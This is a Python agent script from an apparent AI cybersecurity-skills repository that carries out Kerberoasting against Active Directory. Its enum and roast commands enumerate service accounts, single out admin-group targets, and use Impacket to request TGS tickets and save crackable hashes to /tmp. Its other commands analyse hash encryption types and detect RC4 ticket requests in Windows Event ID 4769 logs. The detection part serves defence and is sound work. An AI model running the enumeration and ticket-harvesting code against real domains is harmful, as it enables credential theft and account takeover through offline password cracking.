Files
Anthropic-Cybersecurity-Skills/skills/performing-kerberoasting-attack/scripts/agent.py
T
mukul975 c47eed6a64 Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands
- Fix 49 verify=False in defensive skills (env-var override)
- Add timeout to 231 HTTP/subprocess/socket calls
- Fix 6 SQL injection patterns with whitelist validation
- Replace 8 __import__() with standard imports
- Remove 701 unused imports across 442 files
- Add authorized-testing disclaimers to all offensive skills
- Complete 11 incomplete skill directories
- Expand 10 stub SKILL.md files with full content
- Fix 2 YAML parse errors in frontmatter
- Fix 5 pre-existing syntax errors
- Convert 22 hardcoded paths/ports to environment variables
- Back up 21 redundant skill pairs to .bak
- Fix 2 global declaration errors
- 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE)
- 0 compile errors across all 724 agent.py files
2026-03-19 13:26:49 +01:00

176 lines
7.9 KiB
Python

#!/usr/bin/env python3
"""Agent for performing Kerberoasting attack simulation and detection — authorized testing only."""
import json
import argparse
import subprocess
from pathlib import Path
def enumerate_spn_accounts(domain=None):
"""Enumerate service principal name (SPN) accounts via LDAP query."""
cmd = ["ldapsearch", "-x", "-H", f"ldap://{domain}" if domain else "ldap://localhost",
"-b", f"dc={',dc='.join(domain.split('.'))}" if domain else "",
"(&(objectClass=user)(servicePrincipalName=*))",
"sAMAccountName", "servicePrincipalName", "memberOf", "pwdLastSet"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
accounts = []
current = {}
for line in result.stdout.splitlines():
if line.startswith("dn:"):
if current:
accounts.append(current)
current = {"dn": line[4:].strip()}
elif line.startswith("sAMAccountName:"):
current["username"] = line.split(":", 1)[1].strip()
elif line.startswith("servicePrincipalName:"):
current.setdefault("spns", []).append(line.split(":", 1)[1].strip())
elif line.startswith("memberOf:"):
current.setdefault("groups", []).append(line.split(":", 1)[1].strip())
if current and current.get("username"):
accounts.append(current)
high_value = [a for a in accounts if any("admin" in g.lower() for g in a.get("groups", []))]
return {
"domain": domain, "total_spn_accounts": len(accounts),
"high_value_targets": len(high_value),
"accounts": accounts[:30],
}
except FileNotFoundError:
return _powershell_spn_enum(domain)
except Exception as e:
return {"error": str(e)}
def _powershell_spn_enum(domain):
"""Fallback SPN enumeration via PowerShell Get-ADUser."""
cmd = ["powershell", "-Command",
"Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName,MemberOf,PasswordLastSet | "
"Select-Object SamAccountName,ServicePrincipalName,PasswordLastSet,@{N='Groups';E={$_.MemberOf}} | "
"ConvertTo-Json -Depth 3"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
data = json.loads(result.stdout)
if isinstance(data, dict):
data = [data]
accounts = [{"username": a.get("SamAccountName"), "spns": a.get("ServicePrincipalName", []),
"password_last_set": a.get("PasswordLastSet"), "groups": a.get("Groups", [])} for a in data]
return {"total_spn_accounts": len(accounts), "accounts": accounts[:30]}
except Exception as e:
return {"error": f"PowerShell fallback failed: {e}"}
def request_tgs_tickets(domain, username=None):
"""Request TGS tickets for Kerberoasting using Impacket GetUserSPNs."""
cmd = ["python3", "-m", "impacket.examples.GetUserSPNs",
f"{domain}/", "-request", "-outputfile", "/tmp/kerberoast_hashes.txt"]
if username:
cmd += ["-target-user", username]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
hash_file = Path("/tmp/kerberoast_hashes.txt")
hashes = []
if hash_file.exists():
for line in hash_file.read_text().strip().splitlines():
if line.startswith("$krb5tgs$"):
parts = line.split("$")
hashes.append({"hash_type": "krb5tgs", "spn": parts[3] if len(parts) > 3 else "",
"hash_preview": line[:80] + "..."})
return {
"domain": domain, "hashes_captured": len(hashes),
"output": result.stdout[:500], "hashes": hashes[:20],
"hash_file": str(hash_file) if hashes else None,
}
except FileNotFoundError:
return {"error": "Impacket not installed — pip install impacket"}
except Exception as e:
return {"error": str(e)}
def analyze_kerberoast_hashes(hash_file):
"""Analyze captured Kerberoast hashes."""
content = Path(hash_file).read_text(encoding="utf-8", errors="replace")
hashes = [line.strip() for line in content.splitlines() if line.strip().startswith("$krb5tgs$")]
enc_types = {"23": 0, "17": 0, "18": 0}
spns = []
for h in hashes:
parts = h.split("$")
if len(parts) >= 4:
etype = parts[2] if len(parts) > 2 else "unknown"
enc_types[etype] = enc_types.get(etype, 0) + 1
spns.append(parts[3] if len(parts) > 3 else "unknown")
crackable_rc4 = enc_types.get("23", 0)
return {
"total_hashes": len(hashes),
"encryption_types": enc_types,
"rc4_crackable": crackable_rc4,
"aes_hashes": enc_types.get("17", 0) + enc_types.get("18", 0),
"spn_targets": spns[:20],
"risk": "HIGH" if crackable_rc4 > 0 else "MEDIUM",
"recommendation": "Disable RC4 (etype 23) and enforce AES encryption" if crackable_rc4 > 0 else "AES encryption in use — harder to crack",
}
def detect_kerberoasting(evtx_file=None):
"""Detect Kerberoasting from Windows Security Event ID 4769."""
if evtx_file:
try:
import Evtx.Evtx as evtx
import xml.etree.ElementTree as ET
except ImportError:
return {"error": "python-evtx not installed — pip install python-evtx"}
suspicious = []
with evtx.Evtx(evtx_file) as log:
for record in log.records():
xml = record.xml()
root = ET.fromstring(xml)
ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
event_id = root.find(".//e:EventID", ns)
if event_id is not None and event_id.text == "4769":
data = {d.get("Name"): d.text for d in root.findall(".//e:Data", ns)}
ticket_enc = data.get("TicketEncryptionType", "")
if ticket_enc == "0x17":
suspicious.append({
"service": data.get("ServiceName"), "client": data.get("TargetUserName"),
"ip": data.get("IpAddress"), "encryption": "RC4 (0x17)",
})
return {"evtx_file": evtx_file, "suspicious_tgs_requests": len(suspicious), "events": suspicious[:20]}
cmd = ["wevtutil", "qe", "Security", "/q:*[System[EventID=4769]]", "/f:text", "/c:100"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
rc4_count = result.stdout.lower().count("0x17")
return {"source": "live_event_log", "total_4769_events": result.stdout.count("Event ID"), "rc4_ticket_requests": rc4_count}
except Exception as e:
return {"error": str(e)}
def main():
parser = argparse.ArgumentParser(description="Kerberoasting Attack Agent (Authorized Testing Only)")
sub = parser.add_subparsers(dest="command")
e = sub.add_parser("enum", help="Enumerate SPN accounts")
e.add_argument("--domain", required=True)
r = sub.add_parser("roast", help="Request TGS tickets")
r.add_argument("--domain", required=True)
r.add_argument("--user", help="Target specific user")
a = sub.add_parser("analyze", help="Analyze captured hashes")
a.add_argument("--file", required=True)
d = sub.add_parser("detect", help="Detect Kerberoasting")
d.add_argument("--evtx", help="EVTX file to analyze")
args = parser.parse_args()
if args.command == "enum":
result = enumerate_spn_accounts(args.domain)
elif args.command == "roast":
result = request_tgs_tickets(args.domain, args.user)
elif args.command == "analyze":
result = analyze_kerberoast_hashes(args.file)
elif args.command == "detect":
result = detect_kerberoasting(args.evtx)
else:
parser.print_help()
return
print(json.dumps(result, indent=2, default=str))
if __name__ == "__main__":
main()